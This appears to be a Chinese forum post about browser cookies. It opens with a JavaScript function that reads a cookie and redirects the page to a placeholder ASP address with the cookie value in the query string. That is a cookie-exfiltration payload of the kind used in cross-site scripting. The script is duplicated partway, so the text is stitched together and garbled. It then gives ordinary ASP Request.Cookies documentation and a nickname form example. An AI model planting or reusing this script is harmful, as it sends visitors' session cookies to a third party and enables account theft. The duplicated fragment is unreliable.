按贱名称获得cookie的函数function getcookie(name)
{
var cookief=false;
var start=0;
var end=0;
var cookiestr=document.cookie;
var i=0;
while(i<=cookiestr.length)
{
start=i;
end=start+name.length;
if(cookiestr.substring(start,end)==name)
{
cookief=true;
break;
}
i++;
}
if(cookief)
{
start=end+1;
end=cookiestr.length;
return unescape(cookiestr.substring(start,end));
}
return "";
}var cookie=getcookie("cookies");
if(cookie=="")
alert("cookies为空!");
else
window.location="xxxxxxxxx.asp?cookies="+cookie;//把cookie的值传到服务器
{
var cookief=false;
var start=0;
var end=0;
var cookiestr=document.cookie;
var i=0;
while(i<=cookiestr.length)
{
start=i;
end=start+name.length;
if(cookiestr.substring(start,end)==name)
{
cookief=true;
break;
}
i++;
}
if(cookief)
{
start=end+1;
end=cookiestr.length;
return unescape(cookiestr.substring(start,end));
}
return "";
}var cookie=getcookie("cookies");
if(cookie=="")
alert("cookies为空!");
else
window.location="xxxxxxxxx.asp?cookies="+cookie;//把cookie的值传到服务器
语法 Request.Cookies(cookie)[(key)|.attribute] 参数 cookie 指定要检索其值的 cookie。 key 可选参数,用于从 cookie 字典中检索子关键字的值。 attribe 指定 cookie 自身的有关信息。如:HasKeys 只读,指定 cookie 是否包含关键字。 可以通过包含一个 key 值来访问 cookie 字典的子关键字。如果访问 cookie 字典时未指定 key,则所有关键字都会作为单个查询字符串返回。例如,如果 MyCookie 有两个关键字 , First 和 Second,而在调用 Request.Cookies 时并未指定其中任何一个关键字,那么将返回下列字符串。
First=firstkeyvalue&Second=secondkeyvalue 如果客户端浏览器发送了两个同名的 cookie,那么 Request.Cookie 将返回其中路径结构较深的一个。例如,如果有两个同名的的 cookie,但其中一个的路径属性为 /www/ 而另一个为 /www/home/,客户端浏览器同时将两个 cookie 都发送到 /www/home/ 目录中,那么 Request.Cookie 将只返回第二个 cookie。
要确定某个 cookie 是不是 cookie 字典(cookie 有否有关键字),可使用下列脚本。 < %= Request.Cookies("myCookie").HasKeys %> 如果 myCookie 是一个 cookie 字典,则前面的赋值为 TRUE。否则,为 FALSE。下面我们来看看一个 cookie 的应用实例: < % nickname=request.form("nick")response.cookies("nick")=nickname ' 用 response 对象将用户名写入 Cookie 之中 response.write " 欢迎 "&request.cookies("nick")&" 光临小站!" %> < html>< head>< meta http-equiv="Content-Type" content="text/html; charset=gb2312"> < title>cookie< /title> < meta name="GENERATOR" content="Microsoft FrontPage 3.0">< /head> < body> < form method="POST" action="cookie.asp"> < p>< input type="text" name="nick" size="20"> < input type="submit" value=" 发送 " name="B1">< input type="reset" value=" 重填 " name="B2">< /p>< /form> < /body>< /html> 这其实是一个在基于 WEB 的 BBS 或 CHAT 的 ASP 程序中常用的手法,它将用户在起始页面上填入的姓名保存在 cookie 中,这样后面的程序就可以很容易地调用该用户的 nick 了。
你要是有心的话就完成我的问题吧。